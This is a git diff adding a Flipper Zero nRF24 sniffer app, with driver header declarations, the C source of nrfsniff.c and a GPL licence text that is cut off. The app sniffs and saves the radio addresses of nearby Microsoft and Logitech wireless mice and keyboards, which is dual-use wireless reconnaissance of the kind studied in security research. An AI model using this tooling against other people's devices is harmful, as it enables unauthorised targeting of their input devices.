+    FuriHalSpiBusHandle* handle,
+    uint8_t rate,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t channel,
+    bool noack,
+    bool disable_aa);
+
+/** Configures the radio for "promiscuous mode" and primes it for rx
+ * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were.
+ * See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details.
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      channel - channel to tune to
+ * @param      rate - transfer rate in Mbps (1 or 2) 
+ */
+void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate);
+
+/** Listens for a packet and returns first possible address sniffed
+ * Call this only after calling nrf24_init_promisc_mode
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      maclen - length of target mac address
+ * @param[out] addresses - sniffed address
+ * 
+ * @return     success
+ */
+bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address);
+
+/** Sends ping packet on each channel for designated tx mac looking for ack
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      srcmac - source address
+ * @param      dstmac - destination address
+ * @param      maclen - length of address
+ * @param      rate - transfer rate in Mbps (1 or 2) 
+ * @param      min_channel - channel to start with
+ * @param      max_channel - channel to end at
+ * @param      autoinit - if true, automatically configure radio for this channel
+ * 
+ * @return     channel that the address is listening on, if this value is above the max_channel param, it failed
+ */
+uint8_t nrf24_find_channel(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t rate,
+    uint8_t min_channel,
+    uint8_t max_channel,
+    bool autoinit);
+
+/** Converts 64 bit value into uint8_t array
+ * @param      val  - 64-bit integer
+ * @param[out] out - bytes out
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ */
+void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian);
+
+/** Converts 32 bit value into uint8_t array
+ * @param      val  - 32-bit integer
+ * @param[out] out - bytes out
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ */
+void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian);
+
+/** Converts uint8_t array into 32 bit value
+ * @param      bytes  - uint8_t array
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ * 
+ * @return     32-bit value
+ */
+uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian);
+
+#ifdef __cplusplus
+}
+#endif

+ 469 - 0
non_catalog_apps/nrfsniff_ms/nrfsniff.c

@@ -0,0 +1,469 @@
+#include <furi.h>
+#include <furi_hal.h>
+#include <gui/gui.h>
+#include <input/input.h>
+#include <notification/notification_messages.h>
+#include <stdlib.h>
+
+#include <nrf24.h>
+#include <toolbox/stream/file_stream.h>
+
+#define LOGITECH_MAX_CHANNEL 85
+#define MICROSOFT_MIN_CHANNEL 49
+#define COUNT_THRESHOLD 2
+#define DEFAULT_SAMPLE_TIME 8000
+#define MAX_ADDRS 100
+#define MAX_CONFIRMED 32
+
+#define NRFSNIFF_APP_PATH_FOLDER STORAGE_APP_DATA_PATH_PREFIX
+#define NRFSNIFF_APP_FILENAME "addresses.txt"
+#define TAG "nrfsniff"
+
+typedef enum {
+    EventTypeTick,
+    EventTypeKey,
+} EventType;
+
+typedef struct {
+    EventType type;
+    InputEvent input;
+} PluginEvent;
+
+typedef struct {
+    FuriMutex* mutex;
+} PluginState;
+
+char rate_text_fmt[] = "Transfer rate: %dMbps";
+char sample_text_fmt[] = "Sample Time: %d ms";
+char channel_text_fmt[] = "Channel: %d    Sniffing: %s";
+char preamble_text_fmt[] = "Preamble: %02X";
+char sniff_text_fmt[] = "Found: %d       Unique: %u";
+char addresses_header_text[] = "Address,rate";
+char sniffed_address_fmt[] = "%s,%d";
+char rate_text[46];
+char channel_text[38];
+char sample_text[32];
+char preamble_text[14];
+char sniff_text[38];
+char sniffed_address[14];
+
+uint8_t target_channel = 0;
+uint32_t found_count = 0;
+uint32_t unique_saved_count = 0;
+uint32_t sample_time = DEFAULT_SAMPLE_TIME;
+uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps)
+uint8_t target_preamble[] = {0xAA, 0x00};
+uint8_t sniffing_state = false;
+char top_address[12];
+
+uint8_t candidates[MAX_ADDRS][5] = {0}; // last 100 sniffed addresses
+uint32_t counts[MAX_ADDRS];
+uint8_t confirmed[MAX_CONFIRMED][5] = {0}; // first 32 confirmed addresses
+uint8_t confirmed_idx = 0;
+uint32_t total_candidates = 0;
+uint32_t candidate_idx = 0;
+
+static int get_addr_index(uint8_t* addr, uint8_t addr_size) {
+    for(uint32_t i = 0; i < total_candidates; i++) {
+        uint8_t* arr_item = candidates[i];
+        if(!memcmp(arr_item, addr, addr_size)) return i;
+    }
+
+    return -1;
+}
+
+static int get_highest_idx() {
+    uint32_t highest = 0;
+    int highest_idx = 0;
+    for(uint32_t i = 0; i < total_candidates; i++) {
+        if(counts[i] > highest) {
+            highest = counts[i];
+            highest_idx = i;
+        }
+    }
+
+    return highest_idx;
+}
+
+// if array is full, start over from beginning
+static void insert_addr(uint8_t* addr, uint8_t addr_size) {
+    if(candidate_idx >= MAX_ADDRS) candidate_idx = 0;
+
+    memcpy(candidates[candidate_idx], addr, addr_size);
+    counts[candidate_idx] = 1;
+    if(total_candidates < MAX_ADDRS) total_candidates++;
+    candidate_idx++;
+}
+
+static void render_callback(Canvas* const canvas, void* ctx) {
+    furi_assert(ctx);
+    const PluginState* plugin_state = ctx;
+    furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
+
+    uint8_t rate = 2;
+    char sniffing[] = "Yes";
+
+    // border around the edge of the screen
+    canvas_draw_frame(canvas, 0, 0, 128, 64);
+    canvas_set_font(canvas, FontSecondary);
+
+    if(target_rate == 0) rate = 1;
+
+    if(!sniffing_state) strcpy(sniffing, "No");
+
+    snprintf(rate_text, sizeof(rate_text), rate_text_fmt, (int)rate);
+    snprintf(channel_text, sizeof(channel_text), channel_text_fmt, (int)target_channel, sniffing);
+    snprintf(sample_text, sizeof(sample_text), sample_text_fmt, (int)sample_time);
+    //snprintf(preamble_text, sizeof(preamble_text), preamble_text_fmt, target_preamble[0]);
+    snprintf(sniff_text, sizeof(sniff_text), sniff_text_fmt, found_count, unique_saved_count);
+    snprintf(
+        sniffed_address, sizeof(sniffed_address), sniffed_address_fmt, top_address, (int)rate);
+    canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text);
+    canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, sample_text);
+    canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, channel_text);
+    //canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text);
+    canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text);
+    canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text);
+    canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address);
+
+    furi_mutex_release(plugin_state->mutex);
+}
+
+static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
+    furi_assert(event_queue);
+
+    PluginEvent event = {.type = EventTypeKey, .input = *input_event};
+    furi_message_queue_put(event_queue, &event, FuriWaitForever);
+}
+
+static void hexlify(uint8_t* in, uint8_t size, char* out) {
+    memset(out, 0, size * 2);
+    for(int i = 0; i < size; i++)
+        snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
+}
+
+static bool save_addr_to_file(
+    Storage* storage,
+    uint8_t* data,
+    uint8_t size,
+    NotificationApp* notification) {
+    size_t file_size = 0;
+    uint8_t linesize = 0;
+    char filepath[42] = {0};
+    char addrline[14] = {0};
+    char ending[4];
+    uint8_t* file_contents;
+    uint8_t rate = 1;
+    Stream* stream = file_stream_alloc(storage);
+
+    if(target_rate == 8) rate = 2;
+    snprintf(ending, sizeof(ending), ",%d\n", rate);
+    hexlify(data, size, addrline);
+    strcat(addrline, ending);
+    linesize = strlen(addrline);
+    strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER);
+    strcat(filepath, "/");
+    strcat(filepath, NRFSNIFF_APP_FILENAME);
+    stream_seek(stream, 0, StreamOffsetFromStart);
+
+    // check if address already exists in file
+    if(file_stream_open(stream, filepath, FSAM_READ_WRITE, FSOM_OPEN_APPEND)) {
+        bool found = false;
+        file_size = stream_size(stream);
+        stream_seek(stream, 0, StreamOffsetFromStart);
+        if(file_size > 0) {
+            file_contents = malloc(file_size + 1);
+            memset(file_contents, 0, file_size + 1);
+            if(stream_read(stream, file_contents, file_size) > 0) {
+                char* line = strtok((char*)file_contents, "\n");
+
+                while(line != NULL) {
+                    if(!memcmp(line, addrline, 12)) {
+                        found = true;
+                        break;
+                    }
+                    line = strtok(NULL, "\n");
+                }
+            }
+            free(file_contents);
+        }
+
+        if(found) {
+            FURI_LOG_I(TAG, "Address exists in file. Ending save process.");
+            stream_free(stream);
+            return false;
+        } else {
+            if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize) {
+                FURI_LOG_I(TAG, "Failed to write bytes to file stream.");
+                stream_free(stream);
+                return false;
+            } else {
+                FURI_LOG_I(TAG, "Found a new address: %s", addrline);
+                FURI_LOG_I(TAG, "Save successful!");
+
+                notification_message(notification, &sequence_success);
+
+                stream_free(stream);
+                unique_saved_count++;
+                return true;
+            }
+        }
+    } else {
+        FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath);
+        stream_free(stream);
+        return false;
+    }
+}
+
+void alt_address(uint8_t* addr, uint8_t* altaddr) {
+    uint8_t macmess_hi_b[4];
+    uint32_t macmess_hi;
+    uint8_t macmess_lo;
+    uint8_t preserved;
+    uint8_t tmpaddr[5];
+
+    // swap bytes
+    for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i];
+
+    // get address into 32-bit and 8-bit variables
+    memcpy(macmess_hi_b, tmpaddr, 4);
+    macmess_lo = tmpaddr[4];
+
+    macmess_hi = bytes_to_int32(macmess_hi_b, true);
+
+    //preserve lowest bit from hi to shift to low
+    preserved = macmess_hi & 1;
+    macmess_hi >>= 1;
+    macmess_lo >>= 1;
+    macmess_lo = (preserved << 7) | macmess_lo;
+    int32_to_bytes(macmess_hi, macmess_hi_b, true);
+    memcpy(tmpaddr, macmess_hi_b, 4);
+    tmpaddr[4] = macmess_lo;
+
+    // swap bytes back
+    for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i];
+}
+
+static bool previously_confirmed(uint8_t* addr) {
+    bool found = false;
+    for(int i = 0; i < MAX_CONFIRMED; i++) {
+        if(!memcmp(confirmed[i], addr, 5)) {
+            found = true;
+            break;
+        }
+    }
+
+    return found;
+}
+
+static void wrap_up(Storage* storage, NotificationApp* notification) {
+    uint8_t ch;
+    uint8_t addr[5];
+    uint8_t altaddr[5];
+    char trying[12];
+    int idx;
+    uint8_t rate = 0;
+    if(target_rate == 8) rate = 2;
+
+    nrf24_set_idle(nrf24_HANDLE);
+
+    while(true) {
+        idx = get_highest_idx();
+        if(counts[idx] < COUNT_THRESHOLD) break;
+
+        counts[idx] = 0;
+        memcpy(addr, candidates[idx], 5);
+        hexlify(addr, 5, trying);
+        FURI_LOG_I(TAG, "trying address %s", trying);
+        //ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
+        ch = nrf24_find_channel(
+            nrf24_HANDLE, addr, addr, 5, rate, MICROSOFT_MIN_CHANNEL, LOGITECH_MAX_CHANNEL, false);
+        FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
+        if(ch > LOGITECH_MAX_CHANNEL) {
+            alt_address(addr, altaddr);
+            hexlify(altaddr, 5, trying);
+            FURI_LOG_I(TAG, "trying alternate address %s", trying);
+            ch = nrf24_find_channel(
+                //nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
+                nrf24_HANDLE,
+                altaddr,
+                altaddr,
+                5,
+                rate,
+                MICROSOFT_MIN_CHANNEL,
+                LOGITECH_MAX_CHANNEL,
+                false);
+            FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
+            memcpy(addr, altaddr, 5);
+        }
+
+        if(ch <= LOGITECH_MAX_CHANNEL) {
+            hexlify(addr, 5, top_address);
+            found_count++;
+            save_addr_to_file(storage, addr, 5, notification);
+            if(confirmed_idx < MAX_CONFIRMED) memcpy(confirmed[confirmed_idx++], addr, 5);
+            break;
+        }
+    }
+}
+
+static void clear_cache() {
+    found_count = 0;
+    unique_saved_count = 0;
+    confirmed_idx = 0;
+    candidate_idx = 0;
+    //target_channel = 2;
+    target_channel = MICROSOFT_MIN_CHANNEL;
+    total_candidates = 0;
+    memset(candidates, 0, sizeof(candidates));
+    memset(counts, 0, sizeof(counts));
+    memset(confirmed, 0, sizeof(confirmed));
+}
+
+static void start_sniffing() {
+    nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate);
+}
+
+int32_t nrfsniff_app(void* p) {
+    UNUSED(p);
+    uint8_t address[5] = {0};
+    uint32_t start = 0;
+    hexlify(address, 5, top_address);
+    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
+    PluginState* plugin_state = malloc(sizeof(PluginState));
+    plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
+    if(!plugin_state->mutex) {
+        furi_message_queue_free(event_queue);
+        FURI_LOG_E(TAG, "cannot create mutex\r\n");
+        free(plugin_state);
+        return 255;
+    }
+
+    nrf24_init();
+
+    // Set system callbacks
+    ViewPort* view_port = view_port_alloc();
+    view_port_draw_callback_set(view_port, render_callback, plugin_state);
+    view_port_input_callback_set(view_port, input_callback, event_queue);
+
+    // Open GUI and register view_port
+    Gui* gui = furi_record_open(RECORD_GUI);
+    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
+
+    NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER);
+
+    PluginEvent event;
+    for(bool processing = true; processing;) {
+        FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
+        furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
+
+        if(event_status == FuriStatusOk) {
+            // press events
+            if(event.type == EventTypeKey) {
+                if(event.input.type == InputTypePress ||
+                   (event.input.type == InputTypeLong && event.input.key == InputKeyBack)) {
+                    switch(event.input.key) {
+                    case InputKeyUp:
+                        // toggle rate  1/2Mbps
+                        if(!sniffing_state) {
+                            if(target_rate == 0)
+                                target_rate = 8;
+                            else
+                                target_rate = 0;
+                        }
+                        break;
+                    case InputKeyDown:
+                        // toggle preamble
+                        if(!sniffing_state) {
+                            if(target_preamble[0] == 0x55)
+                                target_preamble[0] = 0xAA;
+                            else
+                                target_preamble[0] = 0x55;
+
+                            nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2);
+                        }
+                        break;
+                    case InputKeyRight:
+                        // increment channel
+                        //if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL)
+                        //    target_channel++;
+                        sample_time += 500;
+                        break;
+                    case InputKeyLeft:
+                        // decrement channel
+                        //if(!sniffing_state && target_channel > 0) target_channel--;
+                        if(sample_time > 500) sample_time -= 500;
+                        break;
+                    case InputKeyOk:
+                        // toggle sniffing
+                        sniffing_state = !sniffing_state;
+                        if(sniffing_state) {
+                            clear_cache();
+                            start_sniffing();
+                            start = furi_get_tick();
+                        } else
+                            wrap_up(storage, notification);
+                        break;
+                    case InputKeyBack:
+                        if(event.input.type == InputTypeLong) processing = false;
+                        break;
+                    default:
+                        break;
+                    }
+                }
+            }
+        }
+
+        if(sniffing_state) {
+            if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) {
+                int idx;
+                uint8_t* top_addr;
+                if(!previously_confirmed(address)) {
+                    idx = get_addr_index(address, 5);
+                    if(idx == -1)
+                        insert_addr(address, 5);
+                    else
+                        counts[idx]++;
+
+                    top_addr = candidates[get_highest_idx()];
+                    hexlify(top_addr, 5, top_address);
+                }
+            }
+
+            if(furi_get_tick() - start >= sample_time) {
+                target_channel++;
+                //if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2;
+                if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = MICROSOFT_MIN_CHANNEL;
+                {
+                    wrap_up(storage, notification);
+                    start_sniffing();
+                }
+
+                start = furi_get_tick();
+            }
+        }
+
+        view_port_update(view_port);
+        furi_mutex_release(plugin_state->mutex);
+    }
+
+    clear_cache();
+    sample_time = DEFAULT_SAMPLE_TIME;
+    target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps)
+    sniffing_state = false;
+    nrf24_deinit();
+    view_port_enabled_set(view_port, false);
+    gui_remove_view_port(gui, view_port);
+    furi_record_close(RECORD_GUI);
+    furi_record_close(RECORD_NOTIFICATION);
+    furi_record_close(RECORD_STORAGE);
+    view_port_free(view_port);
+    furi_message_queue_free(event_queue);
+    furi_mutex_free(plugin_state->mutex);
+    free(plugin_state);
+
+    return 0;
+}

BIN
non_catalog_apps/nrfsniff_ms/nrfsniff_10px.png


+ 1 - 0
non_catalog_apps/sd_spi/.gitkeep

@@ -0,0 +1 @@
+

+ 674 - 0
non_catalog_apps/sd_spi/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
